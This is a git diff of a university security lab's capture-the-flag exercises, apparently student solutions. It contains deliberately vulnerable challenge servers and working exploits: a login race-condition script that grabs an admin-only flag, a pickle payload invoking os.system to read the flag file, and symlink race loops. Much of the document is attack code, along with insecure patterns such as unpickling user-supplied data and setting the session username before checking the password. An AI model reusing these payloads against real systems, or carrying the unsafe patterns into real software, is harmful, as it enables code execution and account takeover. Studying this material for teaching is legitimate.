lab3

pa/lab3/chall_jackpot.py

@@ -0,0 +1,24 @@
+from grequests import Session
+from sys import argv
+from os import fork
+
+BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
+
+sesh = Session()
+sesh.get(BASE+"/login")
+
+pid = fork()
+
+if pid == 0:
+	sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
+	while True:
+		resp = sesh.get(BASE+"/jackpot")
+		if b"SSof{" in resp.content:
+			print(resp.content)
+			exit(0)
+else:
+	i = 0
+	while True:
+		sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
+		print(i)
+		i += 1

pa/lab3/chall_pickles.py

@@ -1,9 +1,37 @@
 from pwn import *
+from os import fork, kill
 
 HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
 PORT = 25653
 
-conn = remote(HOST, PORT)
+PAYLOAD = "cat /home/ctf/flag"
-line = conn.interactive()
 
-SSof_148:BHdrm8TgNq
+pid = fork()
+
+if pid != 0:
+	while True:
+		conn = remote(HOST, PORT)
+		conn.sendlineafter(b":", b"didas")
+		conn.sendlineafter(b">>>", b"1")
+		conn.sendlineafter(b">>>", b"1")
+		conn.sendlineafter(b":", b"bomb")
+		conn.recvuntil(b":")
+		conn.sendline(b"cos")
+		conn.sendline(b"system")
+		conn.sendline(("(S'"+PAYLOAD+"'").encode('utf-8'))
+		conn.sendline(b"tR.")
+		conn.sendline(b"\n\n\n")
+		conn.close()
+
+else:
+	while True:
+		conn = remote(HOST, PORT)
+		conn.sendlineafter(b":", b"didas")
+		conn.sendlineafter(b">>>", b"0")
+		conn.sendlineafter(b">>>", b"0")
+		conn.sendlineafter(b":", b"bomb")
+		res = conn.recvline().decode('utf-8')
+		if "[ERROR]" not in res:
+			print(res)
+			kill(pid, 9)
+			break

pa/lab3/server.py

@@ -0,0 +1,212 @@
+from flask import Flask, request, redirect, url_for, make_response, render_template
+from flask_sqlalchemy import SQLAlchemy
+from functools import wraps
+from os.path import isfile
+from os import environ, urandom
+from sys import argv
+import hashlib
+
+# Setup app
+app = Flask(__name__)
+COOKIE_TOKEN = "JTOKEN"
+
+# Setup db
+db_path = "/tmp/flask_server.db"
+app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///%s' % (db_path)
+app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
+db = SQLAlchemy(app)
+
+# Read the flag
+FLAG = environ['flag']
+
+
+def error(msg):
+    return render_template('error_response.html', msg=msg)
+
+
+# ================
+# === SESSIONS ===
+# ================
+class Session(db.Model):
+    """
+    Associates a session token with its respective user
+    """
+    id = db.Column(db.Integer, primary_key=True)
+    # @FIXME: Should be a Foreign Key, but oh well
+    jtoken = db.Column(db.Text(), unique=True)
+    username = db.Column(db.Text())
+
+    def __init__(self, username=None):
+        self.jtoken = urandom(64).hex()
+        self.username = username
+
+    def __repr__(self):
+        return '<Session %s>' % (self.jtoken)
+
+
+def get_current_session(jtoken=None):
+    if not jtoken:
+        jtoken = request.cookies.get(COOKIE_TOKEN)
+        if not jtoken:
+            print("[WARNING] This should never happen")
+            return None
+
+    return Session.query.filter_by(jtoken=jtoken).first()
+
+
+@app.context_processor
+def templates_utility():
+    return dict(get_current_session=get_current_session)
+
+
+# Runs before every request
+@app.before_request
+def setup_session():
+    def add_session_and_redirect():
+        new_session = Session()
+        db.session.add(new_session)
+        db.session.commit()
+
+        response = make_response(redirect(request.path))
+        response.set_cookie(COOKIE_TOKEN, new_session.jtoken)
+        return response
+
+    if COOKIE_TOKEN not in request.cookies:
+        return add_session_and_redirect()
+
+    current_session = get_current_session()
+    if current_session is None:
+        return add_session_and_redirect()
+
+
+def login_required(func):
+    @wraps(func)
+    def decorated_function(*args, **kwargs):
+        current_session = get_current_session()
+        if not current_session or current_session.username is None:
+            return redirect(url_for('login'))
+        else:
+            return func(*args, **kwargs)
+    return decorated_function
+
+
+# =============
+# === Users ===
+# =============
+class User(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    username = db.Column(db.Text(), unique=True)
+    password = db.Column(db.Text())
+
+    def __init__(self, username, password):
+        self.username = username
+        self.password = self.hash_pwd(password)
+
+    def __repr__(self):
+        return '<User %s>' % (self.username)
+
+    @staticmethod
+    def hash_pwd(pwd):
+        return hashlib.sha512(pwd.encode()).hexdigest()
+
+
+# =============
+# === VIEWS ===
+# =============
+@app.route('/')
+def home():
+    return render_template('home.html')
+
+
+@app.route('/jackpot', methods=['GET'])
+@login_required
+def jackpot():
+    current_session = get_current_session()
+
+    if current_session.username == 'admin':
+        msg = FLAG
+    else:
+        msg = "No luck... Maybe next time!"
+
+    return render_template('jackpot.html', msg=msg)
+
+
+@app.route('/register', methods=['GET', 'POST'])
+def register():
+    if request.method == 'GET':
+        return render_template('register.html')
+
+    username = request.form['username']
+    password = request.form['password']
+    if not username or not password:
+        return error("You need to provide the 'username' and 'password' to register.")
+    
+    user = User.query.filter_by(username=username).first()
+    if user or 'admin' in username:
+        return error("User '%s' already exists." % user.username)
+
+    user = User(username, password)
+    db.session.add(user)
+    db.session.commit()
+
+    return redirect(url_for('login'))
+
+
+@app.route('/login', methods=['GET', 'POST'])
+def login():
+    if request.method == 'GET':
+        return render_template('login.html')
+
+    username = request.form['username']
+    password = request.form['password']
+    if not username or not password:
+        return error("You need to provide a 'username' and 'password' to login.")
+
+    # Setup the session with the current user
+    current_session = get_current_session()
+    current_session.username = username
+    db.session.commit()
+
+    registered_user = User.query.filter_by(
+        username=username, password=User.hash_pwd(password)).first()
+
+    if not registered_user:
+        # flash('Username or Password are invalid', 'error')
+        # Login failed
+        current_session.username = None
+        db.session.commit()
+        return redirect(url_for('login'))
+
+    # @FIXME: open redirect
+    return redirect(request.args.get('next') or url_for('home'))
+
+
+@app.route('/logout')
+def logout():
+    current_session = get_current_session()
+
+    # Remove the user from the session
+    current_session.username = None
+    db.session.commit()
+
+    return redirect(url_for('login'))
+
+
+# ========================
+# ========================
+# ========================
+def main(host):
+    if not isfile(db_path):
+        db.create_all()
+
+    app.config["DEBUG"] = (host == "127.0.0.1")
+    app.run(threaded=True, host=host, port=6660)
+
+
+if __name__ == '__main__':
+    if len(argv) >= 2:
+        host = argv[1]
+    else:
+        host = "127.0.0.1"
+
+    main(host)

pa/lab3/server3.py

@@ -0,0 +1,121 @@
+#!/usr/bin/env python
+import hashlib
+import os
+import shutil
+import pickle
+
+
+# ===================================================
+class Note(object):
+    def __init__(self, name, content):
+        self.name = name
+        self.content = content
+
+    def __str__(self):
+        return "Note '%s': %s" % (self.name, self.content)
+
+def sha256(s):
+    return hashlib.sha256(s.encode('utf-8')).hexdigest()
+
+CLASSY_MODE = 'CLASSY'
+FREE_MODE = 'FREE'
+def check_mode(mode):
+    try:
+        with open(directory + '/mode', 'r') as f:
+            return f.read() == mode
+    except:
+        return False
+
+def set_mode(mode):
+    with open(directory + '/mode', 'w') as f:
+        f.write(mode)
+
+def reset(mode):
+    shutil.rmtree(directory)
+    os.makedirs(directory)
+    set_mode(mode)
+# ===================================================
+
+
+# Print banner
+notes_storage = " _______   ________   ______________________  _________         ____________________________   __________    _____     ________ ___________\n \      \  \_____  \  \__    ___/\_   _____/ /   _____/        /   _____/\__    ___/\_____  \  \______   \  /  _  \   /  _____/ \_   _____/\n /   |   \  /   |   \   |    |    |    __)_  \_____  \         \_____  \   |    |    /   |   \  |       _/ /  /_\  \ /   \  ___  |    __)_ \n/    |    \/    |    \  |    |    |        \ /        \        /        \  |    |   /    |    \ |    |   \/    |    \\    \_\  \ |        \\\n\____|__  /\_______  /  |____|   /_______  //_______  / ______/_______  /  |____|   \_______  / |____|_  /\____|__  / \______  //_______  /\n        \/         \/                    \/         \/ /_____/        \/                    \/         \/         \/         \/         \/ "
+
+print ("1. Ever lost your class notes??")
+print ("2. Ever wanted to store notes but had no place to and then forgot everything and failed the exam???")
+print ("3. Are you tired of having to carry your notebooks????")
+print ("")
+print ("If you answered YES, this is the service for you!!")
+print (notes_storage)
+print ("\n")
+
+
+# Read username and setup directory
+username = input('Username: ')
+directory = "/tmp/notes/%s" % sha256(username)
+if not os.path.exists(directory):
+    os.makedirs(directory)
+
+# Read user choices
+type_choice = ""
+while type_choice not in ('0', '1'):
+    print("Which note type do you want:")
+    print("0: Classy note")
+    print("1: Free Note")
+    type_choice = input('>>> ')
+
+def read_or_write_option():
+    action_choice = ""
+    while action_choice not in ('0', '1'):
+        print("0: Read note")
+        print("1: Write Note")
+        action_choice = input('>>> ')
+
+    note_name = input('note_name: ')
+    note_path = "%s/%s" % (directory, sha256(note_name))
+    if action_choice == '0':
+        if not os.path.isfile(note_path):
+            print("[ERROR] Can't read a file that does not exist")
+            exit(-1)
+        else:
+            with open(note_path, 'rb') as f:
+                note_content = f.read()
+    elif action_choice == '1':
+        note_content = ""
+        line = input("note_content: ")
+        while line:
+            note_content += line + '\n'
+            line = input()
+
+    return action_choice, note_path, note_name, note_content
+
+
+# Main functionality
+if type_choice == '0': # Classy note
+    if not check_mode(CLASSY_MODE):
+        reset(CLASSY_MODE)
+
+    action_choice, note_path, note_name, note_content = read_or_write_option()
+    if action_choice == '0': # read
+        note = pickle.loads(note_content)
+        print(note)
+    elif action_choice == '1': # write
+        note = Note(note_name, note_content)
+        with open(note_path, 'wb') as f:
+            pickle.dump(note, f)
+    else:
+        print("YT0!?")
+
+elif type_choice == '1': # Free note
+    if not check_mode(FREE_MODE):
+        reset(FREE_MODE)
+
+    action_choice, note_path, _, note_content = read_or_write_option()
+    if action_choice == '0': # read
+        print(note_content)
+    elif action_choice == '1': # write
+        with open(note_path, 'wb') as f:
+            f.write(note_content.encode('utf8','surrogateescape'))
+    else:
+        print("HuM!?")
+else:
+    print("WHaT!?")

pa/lab3/spam_flag.sh

@@ -0,0 +1,5 @@
+#!/bin/sh
+
+while [ 1 -eq 1 ]; do
+	/challenge/challenge < input
+done

pa/lab3/spam_ln.sh

@@ -0,0 +1,6 @@
+#!/bin/sh
+
+while [ 1 -eq 1 ]; do
+	ln -s ./input ./link
+	ln -s /challenge/flag ./link
+done